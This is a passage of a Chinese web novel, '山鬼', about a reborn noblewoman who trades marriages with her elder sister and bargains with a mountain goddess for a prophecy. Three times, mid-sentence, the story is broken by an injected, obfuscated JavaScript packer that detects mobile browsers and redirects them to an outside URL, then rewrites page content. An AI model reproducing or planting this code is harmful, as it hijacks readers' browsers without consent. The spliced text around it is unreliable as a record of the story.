《山鬼》 1. 重生换嫁姐妹 五黄六月，正值一年最为暑热的时候，一身锦衣华服的宿泱一面爬山，一面在心里咒骂这见了鬼的天气，她已经把自己能想到的词全骂了一遍，却仍觉不解气。 宿泱伸手扯了扯衣领，手却碰到了被晒的滚烫的璎珞，她被烫的缩了一下手，想把璎珞扯下来，复又想起这个璎珞是自己好不容易向舅舅讨来的，丟不得。 她一脚踢开旁边的小石头，哪怕远处的鸟鸣也让她觉得刺耳。 宿泱回头看了一眼来时的路，又看了一眼山顶的位置，只得继续往上走，没办法，她都已经夸下海口了，总不能半路打退堂鼓吧？ “该死的平昌候世子，”宿泱脚下已经没了力气，嘴上却仍旧未停“一个病秧子，赶紧像上一世那样好起来啊，也不枉本小姐废了这么大力气，亲自爬山去金光寺求平安符。” 沙，沙沙—— 一阵轻风拂过，吹的周围树叶沙沙作响，温度也变得适宜起来，宿泱舒服地眯起了眼睛，心中怨气亦平复不少。 然而等她再睁眼的时候，她却宁可相信是天气太热让自己产生了幻觉，也不愿相信眼前这一幕是真实发生的。 不远处，一头皮毛赤红的豹子正虎视眈眈地盯着宿泱，那赤豹比寻常豹子要大的多，体长可达两米以上，它用爪子抹了一把脸，似乎正打量着今天的猎物够不够肥美。 “啊！” 宿泱忍不住惊叫一声，不管三七二十一转身就跑，不知跑了多久，直到周围没了声响，她才一屁股坐在泥地上，累到彻底说不出话了。 “姑娘，你没事吧？” 一道轻柔的女声传来，那声音柔和平缓，就像盛夏里的清风，不由得让人放松下来。 宿泱扶着树起身，她拍了拍自己裙子上的灰尘，看向声音传来的方向，只见一年轻女子正在不远处望着她。 宿泱登时站的更直了，她伸手理了理凌乱的发丝后才道“你是生活在这附近的农户？” “我的确住在这里，”那女子主动走近，微笑着问询“我叫眠云，姑娘又是从何而来？” “礼部侍郎次女宿泱，为求取金光寺平安符而来。”宿泱打量了眠云几眼，有些不确定的说道“你……是金光寺带发修行的尼姑？” 金光寺是京城附近最有名的寺庙，有不少达官显贵都是这里的常客，宿泱曾听说过，有身体不好又身具佛缘的贵女在此修行，难不成就是眼前这一个？ “姑娘先随我过来，喝杯茶歇歇脚吧。”眠云仍旧笑着，温柔含情的桃花目仿若一汪春水，就连宿泱这个女子都不由得失了神，只任由眠云带着她往山上走。 大约一盏茶过后，宿泱看到山顶有一八角亭，亭中有一石桌，两石凳，茶水已经泡好，正散发着袅袅茶香。 “请。”眠云将茶递了过去，宿泱接过来时闻到了清新淡雅的兰花香，宿泱轻抿一口，本想放下，却觉自己刚刚还闷痛的胸口好受了许多，她眼睛一亮，将茶全部喝了下去，果然，酸软的双腿立刻恢复如初，就连疲惫和烦躁都被一扫而空。 “山中粗茶，不是什么罕物，只是喝了能解疲乏，倒正适合姑娘，希望姑娘不要嫌弃。”眠云喝了一口茶后便放下，替宿泱又斟了一盏。 “你！” 宿泱刚想道谢，却蓦然瞪大了眼睛，心里话脱口而出“你是人是鬼？！” 眼前的女子雪肤花貌，姿容秀雅，在阳光的照耀下，那头本该乌黑的长发却呈现出一种幽绿的色泽，那是树的颜色，衬得女子娇美的面容也多了几丝神秘而古老的气质。 “我吗？”眠云放下手中的茶盏，神情依旧温和宁静“这里是岐山，我是岐山的山神。” “岐山？山神？！” 宿泱脑子更转不过来了，她向来不信鬼神，这么一个自称山神的人忽然跑出来，一时间还真让她难以接受。 “啊，”眠云忽然微微抬起头笑道“小红回来了。” 小红？谁？婢女吗？ 正当宿泱摸不着头脑之际，一只身长两米的赤豹蹿了出来，趴在了眠云旁边，眠云拍了拍赤豹的脑袋，向宿泱介绍自己的伙伴“这是小红，花花出去了，恐怕你今天见不到它。” “啊——” 宿泱这一声响彻云霄的尖叫惊起了一片枝头雀，就连刚刚趴下的小红都被吓的瞪圆了眼睛，一脸迷茫的看着眠云。 “好了好了，”眠云又拍了两下赤豹以示安慰，她看了一眼快吓晕的宿泱，对赤豹叮嘱道“先去别的地方玩儿吧。” 赤豹小红用头顶蹭了蹭眠云的掌心，甩着尾巴离开了，直到小红火红的皮毛彻底消失在山林之中，宿泱才感觉自己又活了过来。 “言归正传，”眠云站起来，示意宿泱也站起来看看“这里是岐山，位于无数位面的夹缝之中，在你原来的世界，应当没有这样的山吧？” 宿泱向前一看，只见群山之中雾气缭绕，一座山连着一座山，山间有栈桥相连，仿若仙境一般，这确实不是京城的景象，毕竟京城附近不可能有如此连绵起伏的山峦。 “姑娘莫要惊慌，”眠云重新坐下说道“你与我有缘，才会在无意间来到这里，若是姑娘有什么烦心事，也可与我说说。” “你能帮我？”宿泱反问道“你既然说自己是山神，总不可能连我想要什么都不知道吧？” 思来想去，宿泱还是觉得眠云很可疑，哪有神会主动说自己是神的啊？ “我的确不知道宿姑娘你想要什么，”眠云随手将茶盏中的茶水向空中一抛，茶水在半空中化为了一面水境，上面出现的，赫然便是宿泱的模样。“但我知道，你有一个从未对人说过的大秘密。” 水镜中的宿泱和一个与她相貌三四分像的年轻女子并肩站在一间布置雅致的书房之中，书房的主位上坐着一位相貌端正的中年男人，男人的右手边，衣着华贵的妇人正在细心研磨，像是没有注意到书房内严肃的气氛。 “泱泱，汐儿，”男人语重心长的说道“你们年纪大了，为父纵是心疼，也不好留你们，现下宿家有平昌候府和宣威将军两门亲事，你们自己挑一挑吧。” “父亲，这平昌候世子都快死了，女儿才不嫁呢。”宿泱站出来没好气的说道“那宣威将军不过是个从五品的武将，但好在还算年轻，勉强能配得上女儿。” 宣威将军出身微寒，以军功起家，年纪才二十有二就已经升到了从五品，日后至少也是个三品官，虽说不如侯府煊赫，但平昌候世子是个病秧子，还不知道能活到哪一天，她才不想过去守活寡呢。 “泱泱，别乱说话！”宿父瞪了宿泱一眼，又道“那就这样说定了，汐儿到底年长些，由她嫁入侯府再稳妥不过，泱泱是妹妹，嫁给宣威将军更合适，你们两个都没有异议吧？” “爹爹最疼女儿了，女儿当然要听爹爹的话。”宿泱笑嘻嘻的应了，好话像不要钱一样往外说，直哄得宿父眉开眼笑。 “女儿听从父亲的安排。” 从进来就没有说过一句话，被安排嫁给病秧子平昌候世子的长女宿汐像个局外人一般看着其乐融融的父女俩，嘴角勾起了一抹嘲弄的笑。 几句话的功夫，两个女子的后半生便被决定下来，没人有什么意见，因为在这个朝代，所有女子的婚姻都是这么决定的。 当然，如果这件事到这里就结束了，那这并不能被称为故事，毕竟世界上哪会有这么无聊的故事呢？ “行了，我信你了！”宿泱连忙上前挥散水镜，后又忍不住问道“后面发生了什么，你也都知道吗？” “知道，”眠云语气轻快，似乎并未感觉到不妥“这件事说起来出人意料，在两位宿姑娘出嫁以后，宣威将军在一场战事中不幸遇害，而平昌候世子则是不药而愈，与宿汐姑娘出双入对，羡煞旁人，只能说世事无常啊。” “你说的对，”宿泱脸上露出了不善的表情“没想到那宣威将军竟是个短命鬼，所以我又回来了，这一次我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829722|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选了平昌候世子，我看那些京中贵女还怎么笑话我！” “嗯，这确实是个合理的决定。”眠云点头表示认同“那宿姑娘想不想知道，你这一世的未来是什么样的？” “你知道？”宿泱惊讶了一瞬，但又想起眠云刚刚的手段，既然眠云自称山神，那神知道未来也不奇怪。“快让我看看！” “不急，”眠云又重新为自己添了一杯茶“我虽是神，可神也不是随随便便就会替人实现愿望的，我听闻宿小姐的外家王家有一当朝开国皇帝所赐的九龙玉佩，不知是真是假？” “当然是真的，”宿泱骄傲的昂起头，“这可是我们王家的荣耀，在京城无人不知，无人不晓。” “这位开国皇帝可谓是传奇，据说，他活到了一百四十岁，是有史以来最长寿的人。”眠云微微低头，嘴角仍旧沁着一抹笑意“我要王家的九龙玉佩，用这玉佩来换宿姑娘未来的预言，怎么样？” “你疯了？！”宿泱瞳孔地震，“遗失御赐之物可是大罪，更何况是开国皇帝亲赏的九龙玉佩，你这是要我母家的命啊！” 她就是昏了头，也不可能去偷御赐的九龙玉佩，要是被发现了，她得有几条命才够赔？ “宿姑娘先别急，”眠云摊开手，手上一枚流光溢彩的玉佩安静的躺在她手心“你瞧，这是什么？” “九龙……玉佩？”宿汐连忙拿起来看，她去过王家不少次，九龙玉佩也看过，这块玉佩从玉到下面的穗子都和九龙玉佩一模一样。 “这个是假的，当然，对于普通人来说，它和真的没有任何区别。”眠云爽快的承认了“就算是开国皇帝亲临，都分不出真假，因为这块玉佩和九龙玉佩无论是材质还是工艺，都完全一致。” “你既然都有一块了，为什么还要我去偷？”宿泱面露警惕“难不成这其中有什么蹊跷？” “唔……宿姑娘可瞧过话本子？”眠云想了一会儿解释道“话本子里的狐妖女鬼都偏爱有官身的人，不是因为她们想过富贵日子，而是因为这种人身上有一种特别的气运。” “玉佩也是一样，我可以变出与九龙玉佩完全一样的玉佩，但那种特别的气运不是法术可以模仿的，这种东西对人类而言没有意义，对我却很重要。” “这……”宿泱手上紧握着玉佩，她有几分意动，却仍不敢轻易得出结论。“你的意思是，我只要把真的九龙玉佩换掉，就不会有任何人知道，我也可以用九龙玉佩换取关于我未来的预言？” 这似乎是笔划算的买卖，毕竟她要做的只是把九龙玉佩换掉而已。 “是，”宿泱点头“神有神的规矩，我在交易上是不能说谎的。” “我……先试试，”宿泱咬咬牙，握紧了手中的玉佩“我不保证一定能成功，如果成功了，我要怎么过来找你？” “只要在心里默念‘岐山山鬼’这四个字就可以了，”眠云耐心的解释道“因为我不是正神，所以不以神称，山鬼其实就是山神的意思。” “行！”宿泱爽快答应，她才不管是鬼还是神，只要眠云真的能告诉她未来会发生什么，是鬼又如何？ “那么，”眠云微微一笑，将宿泱向后一推“我就恭候宿小姐的好消息了。” 宿泱被推了一下，她感觉眼前的景物忽然开始扭曲，紧接着，来来往往的人出现在她身边，她抬头一看，金光寺三个大字竟在她头顶高高悬挂着，她竟是已经到了金光寺吗？ “小姐、小姐？”侍女芸儿奇怪的看了宿泱一眼，见宿泱迟迟未回过神，忍不住问道“小姐你是怎么了？怎么在寺外站着愣神？” “没事，”宿泱握紧了手中的玉佩，确定刚刚发生的一切都不是梦。“我们走吧，该去为平昌候世子求平安符了。” 说她虚伪也好，故作姿态也罢，她既决定了这一世要嫁给平昌候世子，就要把诚意做好、做足，无论平昌候世子会不会因为一个平安符好起来，她都要让平昌候府看到她的诚意。 2. 第二章 “二妹妹这是要去哪儿？”宿汐拦住穿戴整齐，一看就是要出门的宿泱。“二妹妹该不会是要去平昌候府吧？” “现下婚约已定，我去侯府看看世子又有何不可？”宿泱看了宿汐一眼，觉得宿汐有点儿莫名其妙，好好一句话说的阴阳怪气。 “我听说二妹妹一大早就出门去求金光寺的平安符，”宿汐微微低头，笑着说道“也是，妹妹与平昌候世子已有了婚约，用心些也是正常的。” “我做什么关你什么事？”宿泱脾气暴，从来不惯着谁，更何况她和这位长姐也不是一个娘生的，关系本就算不上亲密。“对，我就是担心平昌候世子的身体，特地求了平安符给他，那又怎么样？你去衙门告我？” “你真的以为平昌候府想要这门婚事？你觉得娶了你平昌候世子就会爱护你？”宿汐幽幽的问道“他们不过是想找个人为平昌候世子诞下子嗣罢了，哪怕你讨好他们，也不可能……” “你没毛病吧？”还没等宿汐说完，宿泱直接不耐烦的打断了她“我都没见过平昌候世子，哪知道他爱不爱我？至于侯府，我当然知道侯府对这桩婚事不够满意，毕竟这婚事是我们宿家高攀，平昌候府当然会觉得儿媳的身份不够高，至于讨好……能不能嫁到平昌候府关系到我的后半辈子能不能享福，我不去讨好平昌候府，难道去讨好你吗？” “你！”宿汐气恼于宿泱如此直白，她露出了一个笑，语气怪异的说道“行，你最会讨好，我就看看，成婚以后你能不能讨好的了平昌候世子了。” 宿泱白了宿汐一眼，懒得与宿汐争辩，说起来，她这位长姐不是向来沉默寡言，什么都只会说好吗？怎么这会儿又跑她这儿说三道四来了？ 宿汐转身离开，行至半路，却忽见一打扮奇怪的女子正撑着油纸伞站在庭院之中，那女子上衣下裙，款式看着有几分像道袍，颜色却是白中泛青，质地也更加轻盈飘逸，隐隐能看到衣衫后的小臂和裙摆下的脚踝。 这是哪家的女子，竟如此不知廉耻，轻易让男人瞧去了身子？ “小姐，你在看什么？”宿汐的侍女小翠看着空空荡荡的庭院，不明白自家小姐为何会忽然发起呆来。 “你看不见？”宿汐惊讶的伸手指向眠云“这姑娘是从哪儿来的？” “小姐，你别吓小翠啊！”小翠颤颤巍巍的看着眼前的山石“这里、这里哪来的什么姑娘啊？” 宿汐皱起眉，她知道小翠向来老实，不会说瞎话，可她确实看到了这么一个女子，那女子还不紧不慢的在宿府中走动，这到底是怎么回事？ “小姐……” 小翠紧紧拉住宿汐的衣袖，整个人都在哆嗦“我们回去吧，听说这个花园的小池塘里以前淹死过一个姨娘，说不定是那个姨娘……” “我过去看看，”宿汐本能觉得不对，可她又说不清哪里不对，只好对小翠说道“你就站在这里等我回来。” 小翠在花园里瑟瑟发抖的等了一盏茶的时间宿汐才回来，宿汐回来之后并未提及刚才的事，只沉默着回到了自己的房间。 “你被发现了？刚刚是不是有人跟着你？”宿泱狐疑的看向眠云身后，她虽然很惊讶眠云也跟着她过来了，但眠云身后跟着的那个人更让她在意。 “我施了法术，普通人看不见我。”眠云撑着油纸伞，微笑着说道“不过另一位宿姑娘，也就是你的姐姐宿汐姑娘，她的灵魂有些特殊，应当可以看到我。” “哦，她啊。”宿泱顿时没了兴趣，她从小到大和宿汐关系都不怎么样，两人虽是姐妹，但也只是见面点个头的关系罢了。“先不提她，你怎么过来了？” 宿泱本以为山神这种一听就地域性很强的精怪应当不会轻易离开自己诞生的山，话本子里不都是这么写的吗？ “生活太无聊的时候，我偶尔也会出来走走，”眠云俏皮的眨了眨眼睛“你不会觉得，我要一直待在山里吧？” “……既然你能出来，又何必让我去换九龙玉佩，你自己换不就好了，反正旁人也看不见你。” 宿泱这个人吧，是有点儿嘴硬在身上的，具体表现为她从来不承认自己猜错了，反而很擅长倒打一耙。 “神不能擅自动用旁人的东西，除非对方主动赠予或交换。”眠云倒也不怎么在乎宿泱的语气，只随口解释道“有时候，当神反而没有当人肆意。” “我正要去平昌候府看看，反正别人也看不见你，不如你跟我一道去？”宿泱也没纠结，直接让眠云和她一起上了马车。“这平安符我可是好不容易求来的，要是不让平昌候府知道，那我之前爬的山岂不是白爬了？” “刚刚宿汐姑娘似乎不太赞同你做这件事，因为她觉得这是无用功。”眠云将伞收了起来，微笑着问道“的确，毕竟平安符这种东西，信则有不信则无。” “我管他信不信，”宿泱随手把玩着平安符，动作丝毫不见珍惜“我已经把我能做的做到了，剩下的就随便吧。” 在这个时代，女子能做的事着实有限，哪怕她知道平昌候世子不喜欢她，她又能做什么？不还是要嫁，难道她说她不想嫁，就能不嫁吗？ 宿家离平昌候府不远，马车很快便停了下来，宿泱端起高门贵女的仪态，言谈举止端庄有度，只有时不时捏着平安符的手暴露了她的烦躁。 进入平昌候府以后，平昌候夫人对宿泱算不上热络，只收下了平安符，说一句有心了，送了一对镯子，便遣人将宿泱送回宿府。 宿泱在回去的路上一直没有说话，直到马车回到宿家，她才睁开眼睛，打算回房间休息。 见宿泱想要休息，眠云自然不会打扰她，只是宿泱刚刚回房，就听到下人来禀宿汐过来找她。 “让她进来吧。”宿泱捏了捏眉心，她起了一大早又折腾了半天，好不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829723|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易能歇一会儿，宿汐又来了，说起来，宿汐向来与她关系不好，两人几乎不怎么来往，怎么今天忽然又和她说话，又来她这儿的？ “二妹妹，”宿汐走进来和宿泱寒暄了几句，紧接着便对身边的人说道“我要和二小姐说几句体己话，你们先下去吧。” 宿泱不明白宿汐葫芦里卖的什么药，但她还是挥挥手，让身边的人退至门外。 “你都看见了吧？”宿汐冷不防的问道“刚才你看到我了。” “啊？”宿泱一时间有些摸不着头脑，她想了一会儿，才反应过来宿汐说的是刚才跟踪眠云的事。“是啊，那怎么了？” “我劝你别弄些幺蛾子，”宿汐瞥了宿泱一眼说道“你既要出嫁了，就应该老实本分。” “嗤，”宿泱嗤笑一声，也难怪她和这个姐姐从小就不对付，两人的观念实在是天差地别“老实本分？这东西不过是说给人听的罢了，下人老实本分，就永远没有出头的日子，官员老实本分，就净替人背锅，皇帝老实本分，连臣子都赶蹬鼻子上脸，你让我老实本分？” “那些都是男人的事，你参和什么？”宿汐皱起眉头“女人若是扑腾的太过，迟早会被清算的。” “你爱怎么想就怎么想吧，只一条，你就当是我这个妹妹给你的忠告，把你身边那个满口老实本分的婆子换了。”宿泱摆手，她今天真的很累，懒得再与宿汐争辩。 另一边，京城最热闹繁华的长安街上，一只杂毛猫头上顶一只蓝白色的绶带鸟招摇过市，那猫花色驳杂，看不出什么品种，像是市井中最常见的流浪猫，那鸟却优雅华贵，长长的白色尾羽落在猫身上，这一猫一鸟的神奇的组合，吸引了不少人的注意。 旁边拿着拨浪鼓的孩童看着优雅漂亮的鸟很是喜欢，想要上手去摸，却被杂毛猫灵活避开，那猫朝某个方向嗅了嗅，转眼间便消失不见了。 拿着拨浪鼓的孩子揉了揉眼睛，以为自己看错了，猫怎么会忽然消失呢？恐怕是今天的阳光太刺眼，他将旁的东西看成猫了吧。 虽然令人难以置信，但杂毛猫的确是消失了，或者说它通过压缩空间瞬间到达了京城的另一个地方，它的爪子刚刚落到地上，就被一女子抱了起来。 “花花，你又不带小红偷溜出来，”眠云揉了两把杂毛猫柔软的皮毛，而绶带鸟早在见到她的那一刻，就已经飞到她肩膀上站定。“也就是小红脾气好，不计较你每次都抛下它。” “云云，”杂毛猫竟口吐人言，声音像是六七岁的孩童一般天真稚嫩“小红太重啦，我带不动它，而且小红也不喜欢出门，我就不一样了，我最喜欢云云啦！” “贫嘴，”眠云抿嘴笑了一下“我不在岐山，你又觉得无聊了？” “当然无聊啊，”花花拉长声音“对了云云，你为什么要帮这个叫宿泱的？她在你们人类的话本子里，应该属于恶毒女配吧？” 3. 第三章 “……你又看了什么乱七八糟的东西？”眠云沉默片刻，用力揉了揉花花的脑袋“哪个有缘人留下的小说？” “没有、没有！”花花假装惨叫了起来“我才没有看重生换嫁文呢，我就是……就是随便看了两眼被风吹开的书页。” “少看些奇奇怪怪的小说，”眠云替花花顺了顺毛“书里的都是故事，是骗人的。” “才不是骗人呢！”花花挣扎了起来，它向来乖巧，却唯独在对待小说的时候分外执着“小说里面都说了，像宿泱这种仗着自己受宠，每次都抢走姐姐夫婿的都是恶毒女配，我知道这个套路，妹妹抢来的这个夫婿肯定比自己之前那个更不好，而姐姐则会与上辈子妹妹嫁的人幸福一生。” “很遗憾，你的套路并不成立。”眠云摇摇头“这里是现实，不是故事。” “啊？”刚才还在挣扎的花花这下子愣住了，它的四肢垂了下来，任由眠云将它捞进怀里。“你看了她们的未来？” “嗯，简单看了一下，当然了，算人不算己，我只能看到没有我介入的未来。”眠云安抚的摸了摸花花的后背“平昌候世子的确有问题，他的身体并没有好起来，只是表面痊愈，宿泱嫁过去以后不过两年他就死了，好在他们有了一个孩子，平昌候府由这个孩子继承。” “这结局也不怎么样啊，”花花嘟囔着“那宿汐呢？宿汐后来怎么样了？” “还能怎么样呢？和上一世的宿泱一样啊。”眠云好笑的看了花花一眼“宣威将军在新婚夜上战场为国捐躯了，宿汐成了寡妇，和她的婆母生活在一起。” “这不公平！”花花在眠云怀里滚来滚去“为什么剧情一点儿都没改？这重生一次不是白重生了吗？” “唔……还是有一点儿不一样的。”眠云想了一会儿说道“宿汐上一世因不喜平昌候府的冷待，与平昌候世子的关系只能说是面子情，出门在外的时候演一演，两人并未有子嗣，而这一世嫁了平昌候世子的宿泱是有一个孩子的。” “……” 花花感觉自己受到了欺骗，说好的小说里都是讨人厌的妹妹更倒霉呢？明明都已经重生了，为什么倒霉的还是姐姐？ “宿姑娘？”眠云微微抬眼“姑娘不是说倦了想要去歇息吗？怎么又要出门？” “睡不着，”宿泱没好气的说道“刚才我大姐过来，我和她吵了一架，气的我清醒了，倒不如去舅舅家看看，也好趁机拿到你想要的东西。” 宿泱的母亲出身京城名门王氏，因为宿泱向来嘴甜会讨人喜欢，出身寒门的宿父又有意借王家的势，所以宿泱和王氏颇为亲近，时常过去小住。 宿泱让下人告知父母，自己则去了舅舅家，只是她到的时候，整个王家都严阵以待，似乎在等着什么人，她知晓现在不是打扰的时候，就找了个人少的花园自行取乐。 “这猫也是你养的？”宿泱看了一眼花花说道“猫喂的还挺圆，不过我记得你不是不用吃饭吗？” “花花其实也不用吃东西，不过它比较喜欢人类的食物而已。”眠云拍了两下正冲宿泱呲牙的花花“还有，请不要说花花圆，它会生气的。” “你这猫……还挺聪明。”宿泱看着花花，惊讶于一只猫竟然能听懂人说话，但转念一想，她连神都见过了，猫能听懂人说话也不奇怪。 “喵∽” 花花从眠云身上跳下来，一双幽绿的猫眼打量着宿泱，看得宿泱后背发凉，她赶紧挪了个地方，远离花花的视线，才觉得好了些。 “我就不爱这些猫啊，狗啊的，”宿泱撇撇嘴说道“这些小东西，你说它不聪明吧，它还能到处动弹，有时候还能听懂些人话，你要说它聪明，它又有几分不通人性不受控制的劲儿，养起来未免太麻烦了些。” “你才不通人性呢！”花花忽然开口，吓的宿泱差点儿把茶喷出来，她确认了半天，才不得不承认是猫在说话。 “猫竟然会说话？”宿泱凑上来看着花花，似乎想看一看花花是不是真的开口说话了。 “你这是歧视！是歧视！”花花前爪在石山上刨了两下，义愤填膺的说道“猫怎么就不能说话了？” “一般的猫都不能说话吧……” 宿泱脸上挂不住，很快就找个借口匆匆离开，她离开以后，花花跳到眠云怀里，开始一边撒娇一边告状“云云你看她，猫猫这么可爱，她竟然不喜欢猫猫，她一看就不像好人，云云你不要帮她好不好？” “哦，宿泱刚刚说了什么来着？”眠云的声音中带着几分调侃“她不喜欢猫猫狗狗，那为什么花花只说猫可爱，不说狗可爱呀，难道是因为花花也不喜欢狗吗？” “不听不听，”花花用两只小爪子捂住耳朵“是恶评，小猫咪听不得这个。” 眠云纵容一笑，摸了摸花花的脑袋说道“你听过精卫填海的故事吗？” “那是什么？”花花才生灵智没多久，心性与孩子差不多，对很多事都很好奇“云云讲给我听嘛。” “这是一个很古老的神话传说了，”眠云微笑着说说道“从前啊……” “……女娃游于东海，溺而不返，故为精卫，常衔西山之木石，以堙于东海。［注1］” 说书人在台上讲述着古老的故事，二楼喝茶的几个公子哥却听的没劲，夏天本就热，再加上这说书人苍老古旧的腔调，更让人觉得昏昏欲睡。 “讲来讲去不过是这几句陈词滥调，”一个年纪尚轻的小公子率先忍不住抱怨“我都说别来这儿了，这里的说书人只会说那几个无聊的神话传说，不如我们一起去东街新开的茶馆，那里的说书先生新编了一出狐妖和书生的故事，可比这个有意思多了。” “我倒是觉得精卫填海的故事不错，”坐在上首的平昌候世子似乎并未察觉到小公子话里的不耐，轻飘飘的说道“纵是再不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829724|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只要有不屈的勇气，不可能也没有那么高不可攀了，不是吗？” “今日是世子做东，你多嘴说这个干什么？”小公子身旁的人曲肘怼了一下小公子，随后又笑呵呵的说道“宿小兄弟就是年纪轻，爱热闹，我倒是觉得这家茶馆比新开那家更强些，茶叶好，环境也清幽。” 之前听说平昌候世子大病了一场，几月不曾出府见人，现在看平昌候世子这一副面白如纸的模样，想来这病并非谣传。 “宿小公子活泼开朗，我看着倒是极好的。”平昌候世子举止文雅，笑着举了举茶杯“还要多谢宿姑娘有心替我求了平安符，安某在此感激不尽。” “我姐姐……”宿小公子似乎想要说些什么，但话到嘴边还是咽了下来“小事一桩，世子不必放在心上，咦？” 宿小公子往下一看，看到一华衣绣服的女子正在楼下喝茶，这间茶馆僻静，坐在楼下喝茶的只有零星几人，宿小公子一眼便认出来，那女子正是他的姐姐宿泱。 “这下可巧了，”他们这群人中亦有人见过宿泱，知道宿泱与平昌候世子有婚约在身，揶揄道“有道是千里姻缘一线牵，这宿姑娘和世子，似乎都对这间茶馆情有独钟啊。” “真是不像话！”宿小公子小声嘟囔着，他看上去有几分下不来台“自己一个人出门，连婢女都不带，还像什么世家贵女的样子。” “见过世子，见过各位公子。”宿泱只是为了躲眠云随便来了一家茶馆，没想到正遇见平昌候世子和自家弟弟，她想了想走上来，对众人行了一礼。“宿泱偶然来访，没有扫了各位的雅兴吧？” “不会不会，”众公子连连摆手，有几个胆子大的还说道“不知宿姑娘今日是为何事过来？” “偶然知晓世子与家弟在此处，”宿泱面不改色的胡编乱造“就想着提醒家弟多习些功课，也好问问世子，那平安符世子可喜欢？” “宿姑娘有心了，”平昌候世子笑笑说道“如今我身子已经大好，还要多谢宿姑娘的平安符。” “世子安康我便放心了，”宿泱笑笑道“今日失礼扰了各位公子的清静，改日定让家弟做东，向诸位赔个不是，只是今日家事繁忙，我恐怕要提前告辞了。” “宿姑娘且慢行，”平昌候世子语气平淡而客气“不如让宿小公子与姑娘同行，路上更安全些。” 平昌候世子是在场人中地位最高的一位，既然他这么说，下面便没什么人会反驳，宿涛也起身和自家姐姐一同离开。 “姐，”等到出了茶楼，宿涛皱着眉头说道“你身为贵女，姿态怎可如此谄媚讨好？平昌候世子虽出身显赫，但你也不能一定下婚约就特地去求平安符……” “闭嘴！”宿泱呵斥道“宿涛，是谁教你说的这些话？！” “本来就是！”宿涛听到宿泱的质问，也梗着脖子和她吵“二姐你太没有风骨了，哪有贵女像你这样的？” 4. 第四章 “风骨？”宿泱见四下无人，抬手一拧宿涛的耳朵，强行将他拖入巷中。“好啊，今日你要是说不明白，可别怪我这个做姐姐的不客气！” “疼、疼、疼！”宿涛只是个十三岁的小少年，见自家姐姐发这么大的火，语气不由得软了几分“二姐你快放开我。” “你说我没骨气是吧？”宿泱松开手，语气中是前所未有的认真。“行，我们今天就好好说道说道，我也不用姐姐的身份压你，你怎么想的，尽管说出来。” “我也没那么说啊，”宿涛小声嘀咕道“就是……你刚刚不觉得很丢脸吗？平昌候世子态度不冷不热的，你还要主动上去问。” “丢脸？呵！”宿泱冷笑一声“你觉得是我求了平安符以后平昌候世子没什么反应丢脸，还是等我嫁进平昌候府以后候府上下都对我这位新主子不假辞色丢脸？” “这不一样吧？”宿涛反驳道“你们成亲后平昌候府也未必会……” “说啊，怎么不说了？”宿泱气的一脚踢飞旁边的小石头“怎么，你是觉得平昌候世子现在对我不冷不热，以后我嫁进平昌候府，他就能瞬间对我用心起来，让候府上下都尊重我吗？” “宿涛，”宿泱转过身看向这个和她已经快要差不多高的弟弟“乞丐不会觉得给路人磕头是丢脸，因为如果不这么做他可能就没有下一顿饭吃，官员不会觉得给皇上磕头是丢脸，如果不磕头他们会被下狱，甚至抄家灭族。” “如果你觉得，人为了改善自己的处境做的这些事叫讨好、叫谄媚、叫没有风骨，那你读书考取功名，想着站在金銮殿上算什么？算你膝盖软吗？” 宿泱从小到大脾气都不算好，也不止一次责骂宿涛，但这次她心平气和说出来的话，反倒让宿涛更加难受，因为他知道，宿泱说的是对的。 “这些事是谁同你说的？”宿泱知道自家弟弟的性格，好听点说是单纯，难听点说就是傻，说这套风骨理论是他自己想出来，宿泱可一点儿都不信。 “是大姐……”宿涛犹豫了半晌还是说了出来“二姐，今天发生的事你不要同爹娘说，大姐姐她其实很可怜的，她……” “你放心，我不会跟爹说的，”宿泱斜睨了宿涛一眼，神色比之前更冷了些“毕竟你文不成，武不就，除了占一个嫡子的名头以外就什么也没有，要是让父亲知道你还没考取功名呢，架子就先端起来了，指不定会让他对你失望，彻底厌弃你了。” “你……！”宿涛脸色涨的通红，这么大的小少年正是爱面子的时候，又怎么能容许旁人这么说自己。“我看大姐说的没错，二姐你就是嫉妒大姐是原配生的，而你是继室生的！” 啪！ 宿涛不可置信的捂住脸，他长这么大从来没挨过打，更别提是被亲姐姐打。 “我本以为你只是多了些虚荣爱面子的小毛病，想着今日骂你几句，能把你骂醒最好，若你听不进，我也能将此事告诉母亲。”宿泱气的浑身发抖“你是不是忘了，你是从谁肚子里爬出来的？” 